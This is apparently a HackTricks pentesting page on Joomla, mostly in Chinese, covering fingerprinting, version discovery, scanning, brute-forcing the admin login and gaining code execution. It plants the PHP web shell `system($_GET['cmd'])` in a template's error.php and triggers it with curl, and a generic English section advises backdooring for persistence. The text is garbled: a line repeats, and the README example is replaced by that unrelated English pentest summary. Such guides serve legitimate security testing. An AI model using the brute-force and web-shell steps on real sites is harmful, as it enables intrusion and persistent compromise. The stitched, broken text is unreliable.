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132 lines
5.7 KiB
Markdown
132 lines
5.7 KiB
Markdown
# Joomla
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
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### Joomla统计信息
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Joomla收集一些匿名的[使用统计信息](https://developer.joomla.org/about/stats.html)，例如Joomla、PHP和数据库版本的分布以及Joomla安装中使用的服务器操作系统。 可以通过他们的公共[API](https://developer.joomla.org/about/stats/api.html)查询这些数据。
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```bash
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curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
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{
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"data": {
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"cms_version": {
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"3.0": 0,
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"3.1": 0,
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"3.10": 6.33,
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"3.2": 0.01,
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"3.3": 0.02,
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"3.4": 0.05,
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"3.5": 12.24,
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"3.6": 22.85,
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"3.7": 7.99,
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"3.8": 17.72,
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"3.9": 27.24,
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"4.0": 3.21,
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"4.1": 1.53,
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"4.2": 0.82,
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"4.3": 0,
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"5.0": 0
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},
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"total": 2951032
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}
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}
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```
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## 枚举
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### 发现/足迹
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* 检查 **meta**
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```bash
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curl https://www.joomla.org/ | grep Joomla | grep generator
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<meta name="generator" content="Joomla! - Open Source Content Management" />
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```
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* robots.txt
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* robots.txt
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```
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# If the Joomla site is installed within a folder
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# eg www.example.com/joomla/ then the robots.txt file
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# MUST be moved to the site root
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# eg www.example.com/robots.txt
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# AND the joomla folder name MUST be prefixed to all of the
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# paths.
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[...]
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```
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* README.txt
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## Joomla
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### Introduction
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Joomla is a popular open-source content management system (CMS) written in PHP. It is used to build websites and online applications. In this section, we will discuss how to pentest Joomla websites.
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### Enumeration
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1. **Version Detection**: Use tools like `wpscan` or `joomscan` to identify the Joomla version running on the target website.
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2. **Directory and File Enumeration**: Look for common Joomla directories like `/administrator`, `/components`, `/modules`, `/plugins`, and `/templates`. Also, search for configuration files like `configuration.php`.
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### Exploitation
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1. **Known Vulnerabilities**: Exploit known vulnerabilities specific to the detected Joomla version. Search for relevant exploits on platforms like Exploit Database or GitHub.
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2. **Brute Force Attacks**: Attempt to brute force the login page using tools like Hydra or Burp Suite Intruder.
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3. **SQL Injection**: Look for SQL injection vulnerabilities in input fields or parameters. Use tools like SQLMap to automate the process.
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### Post-Exploitation
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1. **Privilege Escalation**: If you gain access to the Joomla admin panel, escalate privileges by creating a new admin user or modifying existing user roles.
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2. **Backdooring**: Plant a backdoor for persistent access to the Joomla website. This can be achieved by modifying existing files or creating new ones.
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### Conclusion
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Pentesting Joomla websites requires a good understanding of the CMS and its vulnerabilities. By following the enumeration, exploitation, and post-exploitation techniques mentioned above, you can effectively assess the security of Joomla websites.
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```
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1- What is this?
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* This is a Joomla! installation/upgrade package to version 3.x
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* Joomla! Official site: https://www.joomla.org
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* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
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* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
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```
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### 版本
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* 在 **/administrator/manifests/files/joomla.xml** 中可以看到版本。
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* 在 **/language/en-GB/en-GB.xml** 中可以获取 Joomla 的版本。
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* 在 **plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
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```bash
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droopescan scan joomla --url http://joomla-site.local/
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```
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### Brute-Force
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您可以使用此[脚本](https://github.com/ajnik/joomla-bruteforce)尝试对登录进行暴力破解。
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```shell-session
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sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
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admin:admin
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```
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## RCE
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如果你成功获取了**管理员凭证**，你可以通过添加一小段**PHP代码**来在其中实现**RCE**。我们可以通过**自定义**一个**模板**来实现这一点。
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1. 在`Configuration`下方点击**`Templates`**以打开模板菜单。
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2. 点击一个**模板**名称。让我们选择`Template`列标题下的**`protostar`**。这将带我们到**`Templates: Customise`**页面。
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3. 最后，你可以点击一个页面以查看**页面源代码**。让我们选择**`error.php`**页面。我们将添加一个**PHP 一行代码来执行代码**，如下所示：
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```php
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system($_GET['cmd']);
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```
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4. **保存并关闭**
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5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
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